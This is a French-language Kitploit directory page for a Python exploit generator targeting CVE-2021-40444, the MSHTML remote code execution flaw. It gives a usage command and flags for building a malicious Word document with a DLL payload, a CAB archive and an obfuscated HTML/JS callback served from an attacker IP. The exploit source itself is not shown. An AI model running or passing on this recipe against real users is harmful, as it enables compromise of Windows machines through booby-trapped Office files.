Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-40444 — Générateur d'exploit basé sur Python pour CVE-2021-40444 (MSHTML RCE) avec livraison de payload pilotée par des modèles via des documents Office malveillants, des archives CAB et des callbacks HTML/JS obfusqués. | Kitploit
Outils/GitHubGitHub/h0j3n/cve-2021-40444
Génération de PayloadsExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et Éducation
GitHubh0j3n/cve-2021-40444

CVE-2021-40444

Générateur d'exploit basé sur Python pour CVE-2021-40444 (MSHTML RCE) avec livraison de payload pilotée par des modèles via des documents Office malveillants, des archives CAB et des callbacks HTML/JS obfusqués.

Voir le dépôt
114il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-40444

Utilisation

Assurez-vous d'exécuter setup.sh en premier car vous aurez besoin de quelques répertoires. Une fois que vous avez exécuté le script, vous devriez pouvoir exécuter gen.py avec l'exemple donné :

root@kitploit:~
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3

# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx 
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf 
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity

Remarques

  1. L'emplacement de http.server sera dans le répertoire web. Ce répertoire contiendra 3 fichiers :
  • .cab
  • .html
  • .docx

Sans mode verbeux

without_verbose

Avec mode verbeux

with_verbose

Avertissement

Ce dépôt est uniquement à des fins éducatives et n'est pas destiné à être utilisé dans la nature avec de mauvaises intentions. Toute utilisation illégale de ce dépôt relève de votre propre responsabilité et risque.

Références

  1. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444
  3. https://github.com/klezVirus/CVE-2021-40444
  4. https://github.com/lockedbyte/CVE-2021-40444
  5. https://trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html
  6. https://tenable.com/blog/microsoft-s-september-2021-patch-tuesday-addresses-60-cves-cve-2021-40444
  7. https://news.sophos.com/en-us/2021/09/14/big-office-bug-squashed-for-september-2021s-patch-tuesday/
  8. https://huntress.com/blog/cybersecurity-advisory-hackers-are-exploiting-cve-2021-40444
  9. https://microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/
  10. https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/
  11. https://blog.sunggwanchoi.com/remote-template-injection/
  12. https://youtube.com/watch?v=dgdx3QqPCuA
  13. https://businessinsights.bitdefender.com/technical-advisory-zero-day-vulnerability-in-microsoft-mshtml-allows-remote-code-execution
Télécharger l’outil